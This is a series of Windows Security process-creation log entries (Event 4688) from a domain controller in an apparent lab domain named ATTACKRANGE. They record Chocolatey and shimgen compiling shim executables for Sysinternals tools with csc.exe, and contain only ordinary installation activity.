ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246837
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd08
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246836
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x35c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xda8
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\RegDelNull64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123424_6456\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123424_6456\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_6456\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_6456\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_6456\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246835
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x44c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xda8
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246834
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xda8
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\RegDelNull64.exe" --output="C:\ProgramData\chocolatey\bin\RegDelNull64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\RegDelNull64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246833
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb88
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x310
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES4B9.tmp" "c:\ProgramData\chocolatey\bin\CSCFEEC2073C6DC4B45BAF9154A1979D45D.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246832
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb10
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x310
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246831
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x310
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xeb4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\RegDelNull.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123424_4269\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123424_4269\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_4269\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_4269\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_4269\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246830
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd24
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xeb4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246829
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeb4
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\RegDelNull.exe" --output="C:\ProgramData\chocolatey\bin\RegDelNull.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\RegDelNull.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246828
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa98
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd8c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES3EE.tmp" "c:\ProgramData\chocolatey\bin\CSC3D6C17FD92434A24A5921DE82B6518BC.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246827
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x6c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd8c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246826
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd8c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3c4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\RAMMap.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123424_2081\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123424_2081\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_2081\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_2081\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_2081\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246825
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x288
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3c4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246824
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3c4
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\RAMMap.exe" --output="C:\ProgramData\chocolatey\bin\RAMMap.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\RAMMap.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246823
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf10
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES303.tmp" "c:\ProgramData\chocolatey\bin\CSC2F16C66AEAB44F7681FB1AC4441258BD.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246822
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246821
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xafc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pssuspend64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123423_9894\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123423_9894\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_9894\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_9894\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_9894\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
